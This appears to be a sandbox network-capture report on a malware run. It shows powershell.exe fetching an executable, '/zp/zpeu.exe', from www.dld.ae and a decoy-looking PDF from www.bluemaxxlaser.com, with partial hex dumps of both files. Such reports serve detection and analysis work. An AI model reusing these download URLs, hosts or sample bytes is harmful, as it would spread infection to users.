Jun 1, 2023 12:14:31.068283081 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.068308115 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068356037 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068402052 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.068403959 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068453074 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068496943 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.068499088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068614960 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068664074 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.068665028 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068713903 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068758965 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.068763971 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068813086 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068855047 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.068900108 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068969011 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069019079 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069020033 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.069067955 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069113970 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.069124937 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069174051 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069217920 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.069221020 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069271088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069315910 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.069318056 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069370031 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069416046 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.069416046 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069464922 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069511890 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.069515944 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069570065 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069613934 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.069617987 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069660902 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.069709063 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.310025930 CEST	49695	80	192.168.2.4	203.175.174.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 12:14:26.847131014 CEST	59683	53	192.168.2.4	8.8.8.8
Jun 1, 2023 12:14:26.875793934 CEST	53	59683	8.8.8.8	192.168.2.4
Jun 1, 2023 12:14:26.880486012 CEST	64167	53	192.168.2.4	8.8.8.8
Jun 1, 2023 12:14:26.895502090 CEST	53	64167	8.8.8.8	192.168.2.4
Jun 1, 2023 12:14:29.324006081 CEST	58565	53	192.168.2.4	8.8.8.8
Jun 1, 2023 12:14:29.344571114 CEST	53	58565	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 1, 2023 12:14:26.847131014 CEST	192.168.2.4	8.8.8.8	0x518b	Standard query (0)	www.dld.ae	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:26.880486012 CEST	192.168.2.4	8.8.8.8	0xb09a	Standard query (0)	www.dld.ae	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:29.324006081 CEST	192.168.2.4	8.8.8.8	0xef28	Standard query (0)	www.bluemaxxlaser.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 1, 2023 12:14:26.875793934 CEST	8.8.8.8	192.168.2.4	0x518b	No error (0)	www.dld.ae	dld.ae		CNAME (Canonical name)	IN (0x0001)	false
Jun 1, 2023 12:14:26.875793934 CEST	8.8.8.8	192.168.2.4	0x518b	No error (0)	dld.ae		84.16.234.51	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:26.895502090 CEST	8.8.8.8	192.168.2.4	0xb09a	No error (0)	www.dld.ae	dld.ae		CNAME (Canonical name)	IN (0x0001)	false
Jun 1, 2023 12:14:26.895502090 CEST	8.8.8.8	192.168.2.4	0xb09a	No error (0)	dld.ae		84.16.234.51	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:29.344571114 CEST	8.8.8.8	192.168.2.4	0xef28	No error (0)	www.bluemaxxlaser.com		203.175.174.69	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dld.ae

www.bluemaxxlaser.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49694	84.16.234.51	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49695	203.175.174.69	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Jun 1, 2023 12:14:29.545648098 CEST	350	OUT	GET /rh/List%20of%20required%20items%20and%20services.pdf HTTP/1.1 Host: www.bluemaxxlaser.com Connection: Keep-Alive
Jun 1, 2023 12:14:29.714277029 CEST	352	IN	HTTP/1.1 200 OK Date: Thu, 01 Jun 2023 10:14:29 GMT Server: Apache Last-Modified: Sun, 28 May 2023 21:58:29 GMT Accept-Ranges: bytes Content-Length: 653248 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 25 50 44 46 2d 31 2e 37 0d 25 e2 e3 cf d3 0d 0a 31 32 39 20 30 20 6f 62 6a 0d 3c 3c 2f 4c 69 6e 65 61 72 69 7a 65 64 20 31 2f 4c 20 36 35 33 32 34 38 2f 4f 20 31 33 31 2f 45 20 38 36 34 32 33 2f 4e 20 35 2f 54 20 36 35 32 37 37 30 2f 48 20 5b 20 34 39 37 20 32 37 33 5d 3e 3e 0d 65 6e 64 6f 62 6a 0d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 31 34 33 20 30 20 6f 62 6a 0d 3c 3c 2f 44 65 63 6f 64 65 50 61 72 6d 73 3c 3c 2f 43 6f 6c 75 6d 6e 73 20 35 2f 50 72 65 64 69 63 74 6f 72 20 31 32 3e 3e 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 44 5b 3c 45 33 39 35 37 36 43 34 37 35 41 42 45 43 34 33 41 31 38 37 42 39 44 37 38 30 43 34 37 35 37 44 3e 3c 36 34 31 43 41 32 38 37 30 33 43 34 42 31 34 34 38 38 36 46 33 34 32 30 32 33 42 33 34 35 33 32 3e 5d 2f 49 6e 64 65 78 5b 31 32 39 20 33 38 5d 2f 49 6e 66 6f 20 31 32 38 20 30 20 52 2f 4c 65 6e 67 74 68 20 38 39 2f 50 72 65 76 20 36 35 32 37 37 31 2f 52 6f 6f 74 20 31 33 30 20 30 20 52 2f 53 69 7a 65 20 31 36 37 2f 54 79 70 65 2f 58 52 65 66 2f 57 5b 31 20 33 20 31 5d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 62 62 64 60 10 60 60 62 60 60 fe 04 22 19 3a 40 24 53 19 58 c4 06 44 1a 1d 05 8b 27 82 c8 6e 03 b0 6c 1b 88 64 ac 00 8b c7 02 49 46 77 66 b0 78 2d 88 d4 bb 02 24 ff 1f 34 66 60 02 9a 2c 08 56 c3 c0 38 00 e4 7f 06 c6 9c 37 40 f2 3f 3f 03 40 80 01 00 c4 3a 0e 4d 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 73 74 61 72 74 78 72 65 66 0d 0a 30 0d 0a 25 25 45 4f 46 0d 0a 20 20 20 20 20 20 20 0d 0a 31 36 35 20 30 20 6f 62 6a 0d 3c 3c 2f 43 20 31 38 30 2f 45 20 31 36 34 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 20 32 30 32 2f 4c 65 6e 67 74 68 20 31 36 37 2f 4f 20 31 32 36 2f 53 20 37 34 2f 56 20 31 34 32 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 62 60 60 60 61 60 60 aa 64 60 65 60 48 88 67 10 62 40 00 21 06 66 a0 1c 0b 03 87 8b 03 0b 83 75 76 03 03 67 e0 d2 75 8b 0e 28 3b a4 70 30 f0 1c 32 91 68 e4 e8 40 16 05 ea d0 62 e0 bc b6 1a 48 f3 00 31 2f d8 8c 58 06 01 46 49 a6 fb 86 19 0c 2c 5d 97 19 35 19 a5 19 18 dc 96 31 2a e8 96 0b fe 64 d2 06 ab d0 66 e0 bc 69 0c a4 19 81 a8 12 48 eb 30 70 de 5a 03 e1 33 dd 85 bb 45 9f 81 f3 c9 2f 88 28 43 21 10 eb 32 70 de ed 04 d2 4c 0c 0c ec 85 70 55 46 0c 9c 5f be 43 55 bd 01 08 30 00 be 98 22 2e 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 33 30 20 30 20 6f 62 6a 0d 3c 3c 2f 41 63 72 6f 46 6f 72 6d 20 31 34 34 20 30 20 52 2f 4d 65 74 61 64 61 74 61 20 34 38 20 30 20 52 2f 4e 61 6d 65 73 20 31 34 35 20 30 20 52 2f 4f 75 74 6c 69 6e 65 73 20 31 30 33 20 30 20 52 2f 50 61 67 65 73 20 31 32 37 20 30 20 52 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 31 31 37 20 30 20 52 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 3e 3e 0d 65 6e 64 6f 62 6a 0d 31 33 31 20 30 20 6f 62 6a 0d 3c 3c 2f 43 6f 6e 74 65 6e 74 73 20 31 33 32 20 30 20 52 2f 43 72 6f 70 42 6f 78 5b 30 20 30 20 35 39 35 2e 34 34 20 38 34 31 2e 36 38 5d 2f 47 72 6f 75 70 3c 3c 2f 43 53 2f 44 65 76 69 63 65 52 47 42 2f 53 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 2f 54 79 70 65 2f 47 72 6f 75 70 3e 3e 2f 4d 65 64 69 61 42 6f 78 5b 30 20 30 20 35 39 35 2e 34 34 20 38 34 31 Data Ascii: %PDF-1.7%129 0 obj<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>endobj 143 0 obj<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>streamhbbd```b``":@$SXD'nldIFwfx-$4f`,V87@??@:Mendstreamendobjstartxref0%%EOF 165 0 obj<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>streamhb```a``d`e`Hgb@!fuvgu(;p02h@bH1/XFI,]51*dfiH0pZ3E/(C!2pLpUF_CU0".endstreamendobj130 0 obj<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>endobj131 0 obj<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/Type/Group>>/MediaBox[0 0 595.44 841
Jun 1, 2023 12:14:29.714328051 CEST	353	IN	Data Raw: 2e 36 38 5d 2f 50 61 72 65 6e 74 20 31 32 37 20 30 20 52 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 45 78 74 47 53 74 61 74 65 3c 3c 2f 47 53 30 20 31 34 36 20 30 20 52 3e 3e 2f 46 6f 6e 74 3c 3c 2f 43 32 5f 30 20 31 35 31 20 30 20 52 2f 43 32 5f 31 Data Ascii: .68]/Parent 127 0 R/Resources<</ExtGState<</GS0 146 0 R>>/Font<</C2_0 151 0 R/C2_1 153 0 R/C2_2 158 0 R/TT0 161 0 R/TT1 164 0 R>>/ProcSet[/PDF/Text/ImageC]/XObject<</Im0 141 0 R/Im1 142 0 R>>>>/Rotate 0/StructParents 0/Tabs/S/Type/Page>>endob
Jun 1, 2023 12:14:29.714365005 CEST	354	IN	Data Raw: 4e 5a c8 f5 22 96 52 50 da 90 e3 bb 5d 72 b5 4b ed e2 2e 62 75 a8 57 bc e4 52 97 2f 95 20 b9 12 9a e4 a2 e4 5a 44 2e 5d c4 e6 e4 fe ab af 36 4f 1f 7f b1 f9 76 77 fd 3f 32 96 97 ff 92 bf b7 17 5f 6e 9e fe 20 05 7f bc 79 7d fb e6 ea e6 ad 64 ff fa Data Ascii: NZ"RP]rK.buWR/ ZD.]6Ovw?2_n y}dHzf/\|{^>QnVA)kA\|o^_?_7/y?_wrfw'jvo>~w_n^_8kxO_$
Jun 1, 2023 12:14:29.714397907 CEST	356	IN	Data Raw: 98 e3 7b 45 e8 55 49 51 58 fe 21 85 28 f5 64 55 9a b0 b2 d1 be 7e 23 ea 37 64 15 f9 de 22 b1 af 23 ad fb dc 2a 26 42 fb db 8e fb 8b be ce fd 1c 7d 3c d1 3f f6 43 da c5 7b a8 83 b3 30 cf 9c 2c 1a 13 16 40 16 22 b8 7a 6f 76 b3 28 64 9f 9a 22 37 41 Data Ascii: {EUIQX!(dU~#7d"#*&B}<?C{0,@"zov(d"7Ai{fXeN>]}\|%CZl1qKIj"uP1r\|(4[T\|8qM101Kc`9ZW}`b5ETkD A+>6wKo
Jun 1, 2023 12:14:29.714426994 CEST	357	IN	Data Raw: 7c ea fb a7 ae 63 4d 96 38 12 15 26 db 47 d3 ec 40 86 39 f4 44 82 13 f9 54 aa c4 0a c1 84 d6 8e d2 39 3c 53 0b 8e 89 c0 b2 07 ff 96 52 dd a9 44 75 1c bc 05 ba ce a9 f4 e0 d7 2b 93 77 d4 63 30 df c2 1d 90 28 00 7f 24 61 2e 7a 41 bf 41 19 8c 85 7d Data Ascii: \|cM8&G@9DT9<SRDu+wc0($a.zAA}4I=hJ(z6m}FL~dIu,`hF:Wc$gh8OO>UjGA=03^mh!)f#i%^NCjK6&w%d
Jun 1, 2023 12:14:29.714456081 CEST	358	IN	Data Raw: 46 98 0c 20 2f 3d cf e6 0f 88 3e 8c cb 1e 86 8c d9 4a 8d 08 71 4f f9 03 1d 16 9d 8d 7b eb 48 79 1c 7b 62 99 ba bb ff ec 63 e9 14 50 af 1a 88 cf a9 da 8c a4 71 1b 89 89 d2 8a d7 7d f8 b1 34 c2 18 08 f2 58 e4 cf 2a 76 2b 00 d7 39 e8 f4 39 a8 f4 d9 Data Ascii: F /=>JqO{Hy{bcPq}4Xv+99Q,3on bby( &)9l,"/Gf9Awfx8w3l}@/9`LJvU*42TH3t2uPP'E`tayk~14[{a:Od
Jun 1, 2023 12:14:29.714489937 CEST	360	IN	Data Raw: d9 5a 26 e9 5a ea 5b 9f f2 54 d5 b3 20 79 d4 e9 64 02 42 9f 26 0d 68 2f 64 e1 20 b4 0c 48 27 e6 57 63 00 22 a1 1b 3a 31 b0 90 fa a2 8b e6 4b 9c e6 39 4f 83 f1 d0 0a b4 85 e8 ea ab f6 cf 0b 2b f7 d5 fc d2 35 a1 1f b2 a1 ca 04 86 a0 30 73 a9 db 94 Data Ascii: Z&Z[T ydB&h/d H'Wc":1K9O+50sxjhA\|c~OM',/bnB_ D0qNR8\UE9E^}zAox>;1lc/E##,wMrqRb{57/O#\|?Nx#:"Qsxm
Jun 1, 2023 12:14:29.714518070 CEST	361	IN	Data Raw: 5d e4 44 49 b2 f5 43 4f 45 41 72 34 26 17 0d 58 75 b2 dd c7 56 1d 5b 44 b8 02 4a 7c b0 16 20 19 22 04 11 df b2 be ae ae 5b 93 de c0 7f 80 09 74 0c 7f 0e d0 c4 e5 02 3e 13 ea 28 a1 31 b6 b3 84 16 e4 e8 ad 04 9a 98 23 4a 85 c1 1e f4 2e 59 09 ac 45 Data Ascii: ]DICOEAr4&XuV[DJ\| "[t>(1#J.YEl>$GZ!8.=8d+JK(iR1CHRyS1_05YNwkOr1LgRp(AHB]9TJM"U"~qT
Jun 1, 2023 12:14:29.714546919 CEST	362	IN	Data Raw: 2e b7 ae c8 00 8f c8 4a f9 1b b3 0d 5f 51 55 7b 22 91 da ad cc 51 18 1a 61 63 c7 17 36 0a df 9d 9d 2d 58 29 a8 26 76 cc 2b 9c 47 0c a1 05 ae 06 0a 03 82 c4 00 db 85 db 30 12 b1 27 0d c0 db 07 ab 04 85 d0 1e 84 a4 f7 84 c7 70 6c 05 e0 75 01 6d 82 Data Ascii: .J_QU{"Qac6-X)&v+G0'plum.XURY%\.CgxS2'3" Qd2LrC8_#:bhn5,,d00~c=y<6'??-X2+qat+L@l8=I'iwy<q
Jun 1, 2023 12:14:29.714576960 CEST	364	IN	Data Raw: 2d 58 8b 25 d3 a6 94 33 1e cb cc 41 8f 42 03 92 f1 13 4c a5 09 8c 5c b6 21 5c 04 b0 16 47 f4 04 ef 02 f7 13 35 fe 0a f8 a7 84 6b ee f6 1c 81 72 68 12 a7 0a 2a 13 ad fb 5d d4 e6 48 f8 40 07 9a 0d 30 36 e0 2b 3b 33 11 7f 49 63 38 e1 e5 0d 70 f3 c2 Data Ascii: -X%3ABL\!\G5krh*]H@06+;3Ic8p!V X(hFFP6gC5W#6j@NP$RXYa9BWy>@-6NVtZ180 sjzxS4t<F2a:Z$M5&
Jun 1, 2023 12:14:29.882395029 CEST	365	IN	Data Raw: 37 57 fe 55 1b 38 c8 06 71 4b e0 39 24 1b 0c 40 52 49 1f 15 9a 3a e7 24 23 aa 11 e0 e6 00 13 e3 b3 63 3f d0 ab 1b 0e fb 01 8e b3 32 b6 55 67 17 c6 5e c0 54 16 1a 54 b3 6e 77 ec 01 80 8c 9b a7 cd 94 4e d4 aa 70 ec d1 e6 d8 5b dc 47 a8 07 3d b9 d9 Data Ascii: 7WU8qK9$@RI:$#c?2Ug^TTnwNp[G=~YOyb7fE+5IT$0D_%AJu'>q/nNLa!0q#@w4aSDA"/\|KF8lJL

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49694	84.16.234.51	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 10:14:27 UTC	0	OUT	GET /zp/zpeu.exe HTTP/1.1 Host: www.dld.ae Connection: Keep-Alive
2023-06-01 10:14:27 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 01 Jun 2023 10:14:27 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jun 2023 09:47:42 GMT Accept-Ranges: bytes Content-Length: 344681 Content-Type: application/x-msdownload
2023-06-01 10:14:27 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 27 95 75 59 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 64 00 00 00 2a 02 00 00 08 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPEL'uYd*
2023-06-01 10:14:27 UTC	8	IN	Data Raw: 40 00 7b 16 40 00 cc 16 40 00 35 17 40 00 5c 17 40 00 6f 17 40 00 0c 19 40 00 0f 19 40 00 41 19 40 00 56 19 40 00 68 19 40 00 ff 19 40 00 30 1a 40 00 72 1a 40 00 b0 1a 40 00 4d 1b 40 00 71 1b 40 00 19 1c 40 00 19 1c 40 00 ed 1c 40 00 0e 1d 40 00 33 1d 40 00 57 1d 40 00 b3 1d 40 00 43 1e 40 00 77 1e 40 00 00 1f 40 00 52 1f 40 00 86 1f 40 00 2b 20 40 00 fe 20 40 00 53 22 40 00 d7 22 40 00 06 23 40 00 48 23 40 00 88 23 40 00 de 23 40 00 7e 24 40 00 f2 24 40 00 5c 25 40 00 70 25 40 00 92 25 40 00 44 26 40 00 e7 27 40 00 1b 28 40 00 35 28 40 00 62 28 40 00 a7 28 40 00 a2 29 40 00 2f 2a 40 00 bf 2a 40 00 bf 2a 40 00 9a 2a 40 00 92 25 40 00 44 26 40 00 dc 1a 40 00 e0 1a 40 00 e4 1a 40 00 e9 1a 40 00 f6 1a 40 00 fa 1a 40 00 fe 1a 40 00 02 1b 40 00 0b 1b 40 00 15 Data Ascii: @{@@5@\@o@@@A@V@h@@0@r@@M@q@@@@@3@W@@C@w@@R@@+ @ @S"@"@#@H#@#@#@~$@$@\%@p%@%@D&@'@(@5(@b(@(@)@/@@@@%@D&@@@@@@@@@@
2023-06-01 10:14:27 UTC	15	IN	Data Raw: 0e 6a 07 e8 bc c9 ff ff 85 c0 75 03 40 eb 02 33 c0 50 6a 00 68 65 04 00 00 ff 75 08 ff d6 33 c0 5e 5d c2 10 00 55 8b ec 81 ec 80 00 00 00 8b 45 14 53 56 8b 75 10 57 6a dc 85 c0 5b 74 0b 0f ac c6 14 c1 e8 14 33 ff eb 4e 6a 14 81 fe 00 00 10 00 59 8b c6 73 06 6a 0a 59 6a dd 5b 81 fe 00 04 00 00 73 05 6a de 33 c9 5b 81 fe 33 33 ff ff 73 0d 33 c0 6a 14 40 5f d3 e0 99 f7 ff 03 c6 8b f0 25 ff ff ff 00 6a 0a 33 d2 8d 04 80 03 c0 d3 e8 d3 ee 59 f7 f1 8b fa 8d 45 c0 6a df 50 e8 85 17 00 00 50 8d 45 80 53 50 e8 7a 17 00 00 50 57 56 68 a0 a3 40 00 ff 75 0c be e8 36 42 00 56 e8 64 17 00 00 56 8b f8 e8 50 17 00 00 8d 04 47 50 ff 15 90 82 40 00 83 c4 18 56 ff 75 08 ff 35 d8 91 42 00 e8 5e 0d 00 00 5f 5e 5b c9 c2 10 00 8b 44 24 0c 33 c9 51 50 ff 74 24 10 ff 74 24 10 e8 Data Ascii: ju@3Pjheu3^]UESVuWj[t3NjYsjYj[sj3[33s3j@_%j3YEjPPESPzPWVh@u6BVdVPGP@Vu5B^_^[D$3QPt$t$
2023-06-01 10:14:27 UTC	23	IN	Data Raw: 00 00 89 45 a8 7d 05 89 55 c8 eb 10 83 7d c8 0a 7d 06 83 6d c8 03 eb 04 83 6d c8 06 39 55 cc 74 1c 8b 45 ec 2b 45 d4 3b 45 8c 72 03 03 45 8c 8b 4d f8 33 db 43 8a 04 08 88 45 a5 eb 68 33 db 43 e9 cd 01 00 00 8b 45 fc 8b 4d c8 c7 45 cc 01 00 00 00 c7 85 7c ff ff ff 07 00 00 00 8d b4 48 80 01 00 00 e9 d3 05 00 00 83 7d 94 00 0f 84 67 07 00 00 8b 4d 90 8b 45 f4 c1 65 f0 08 0f b6 09 ff 4d 94 c1 e0 08 0b c1 ff 45 90 89 45 f4 8b 45 c0 39 45 b8 0f 85 ad 00 00 00 81 fb 00 01 00 00 0f 8d 05 01 00 00 0f b6 45 a5 d0 65 a5 8b 4d a8 c1 e8 07 89 45 b8 40 c1 e0 08 03 c3 8d 34 41 8b 4d f0 c1 e9 0b 66 8b 06 89 75 ac 0f b7 d0 0f af ca 39 4d f4 73 1a 83 65 c0 00 89 4d f0 b9 00 08 00 00 2b ca c1 f9 05 03 c8 03 db 66 89 0e eb 1d 29 4d f0 29 4d f4 66 8b c8 c7 45 c0 01 00 00 00 Data Ascii: E}U}}mm9UtE+E;ErEM3CEh3CEME\|H}gMEeMEEE9EEeME@4AMfu9MseM+f)M)MfE
2023-06-01 10:14:27 UTC	31	IN	Data Raw: 00 69 00 6e 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 61 00 6e 00 64 00 20 00 64 00 61 00 6d 00 61 00 67 00 65 00 64 00 20 00 6d 00 65 00 64 00 69 00 61 00 2e 00 20 00 43 00 6f 00 6e 00 74 00 61 00 63 00 74 00 20 00 74 00 68 00 65 00 0a 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 27 00 73 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 20 00 74 00 6f 00 20 00 6f 00 62 00 74 00 61 00 69 00 6e 00 20 00 61 00 20 00 6e 00 65 00 77 00 20 00 63 00 6f 00 70 00 79 00 2e 00 0a 00 0a 00 4d 00 6f 00 72 00 65 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 61 00 74 00 3a 00 0a 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6e 00 73 00 69 00 73 00 2e 00 73 00 Data Ascii: incomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.s
2023-06-01 10:14:27 UTC	39	IN	Data Raw: 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 Data Ascii:
2023-06-01 10:14:27 UTC	47	IN	Data Raw: ff 8e 52 09 ff 93 59 12 ff 9b 63 1d ff a1 6a 25 ff 9e 69 26 ff 88 54 12 ff 60 31 00 ff 49 26 02 c5 09 09 09 36 03 03 03 17 01 01 01 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 02 02 11 04 06 09 2f 47 29 05 94 9c 5d 0f ff b8 76 24 ff c9 81 29 ff ce 85 29 ff d2 86 28 ff d1 82 23 ff cf 81 20 ff d1 82 20 ff d3 83 1f ff d5 83 1f ff d5 84 1f ff d8 86 1f ff db 87 1e ff dd 89 22 ff e3 9d 46 ff e5 a0 4c ff e6 a0 4b ff e7 9d 43 ff e1 8c 20 ff c7 86 20 ff b2 8f 39 ff b2 91 3d ff b0 90 3b ff af 90 3b ff b1 92 3b ff b2 93 3b ff b3 94 3c ff b3 94 3a ff b2 94 3a ff b1 94 3b ff b1 91 32 ff af 85 1a ff b1 92 32 ff af 8b 22 ff af 87 18 ff b2 94 30 ff b0 8c 1d ff b6 8a 29 ff b9 8b 3c ff b5 89 2c ff af 8a 16 ff b0 8c Data Ascii: RYcj%i&T`1I&6/G)]v$))(# "FLKC 9=;;;;<::;22"0)<,
